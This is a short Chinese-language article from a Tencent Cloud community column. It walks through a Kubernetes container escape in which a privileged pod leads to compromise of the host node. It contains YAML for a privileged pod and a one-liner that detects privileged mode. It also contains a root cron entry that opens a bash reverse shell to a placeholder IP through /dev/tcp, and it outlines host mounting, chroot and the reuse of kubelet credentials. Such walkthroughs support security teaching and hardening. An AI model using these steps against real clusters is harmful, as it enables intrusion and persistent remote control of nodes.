前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >K8s攻击案例:Privileged特权容器导致节点沦陷

K8s攻击案例:Privileged特权容器导致节点沦陷

作者头像
Bypass
发布2023-12-24 15:04:24
3610
发布2023-12-24 15:04:24
举报
文章被收录于专栏:BypassBypass

01、概述

特权容器(Privileged Container)是一种比较特殊的容器,在K8s中运行特权容器,需要将 Privileged 设为 true ,容器可以执行几乎所有可以直接在主机上执行的操作。

基于此,利用容器的特权配置可以获取容器所在节点的权限,甚至从节点权限提升至集群管理员权限。

02、攻击场景

编写yaml文件,在securityContext中加入参数,将privileged设置为true,使用特权模式运行Pod。

yaml文件内容:

代码语言:javascript
复制
apiVersion: v1
kind: Pod
metadata:
  name: pod1
spec:
  containers:
  - image: nginx
    name: pod1
    command: ['/bin/sh','-c','sleep 24h'] 
    securityContext:
      privileged: true

02、攻击过程

(1) 判断是否特权模式

在容器中可以使用命令检测当前容器是否以特权容器启动,CapEff对应的掩码值在centos中为 0000001fffffffff ,在ubuntu中为0000003fffffffff。

基于以上,可以简单的通过一行命令,如果返回的是Yes说明当前是特权模式,如果返回No则不是。

代码语言:javascript
复制
cat /proc/self/status |grep -qi "0000001fffffffff" && echo "Yes" || echo "No"

(2)查看当前磁盘分区情况,获取宿主机分区

(3)将宿主机目录挂载到容器里,chroot进入宿主机系统,获取宿主机的权限。

(4)此时,也可以使用计划任务反弹shell。

代码语言:javascript
复制
echo '* * * * * bash -i >& /dev/tcp/xx.xx.xx.xx/12345 0>&1' >> /var/spool/cron/root

(5)在Node节点上查找kubelet配置文件,一般情况下,开启了NodeRestriction准入插件,kubelet证书可用来查看pod信息,但是不能创建Pod。下载kubecrl命令行工具, 收集信息为进一步攻击K8s集群提供必要的条件。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2023-12-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Bypass 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档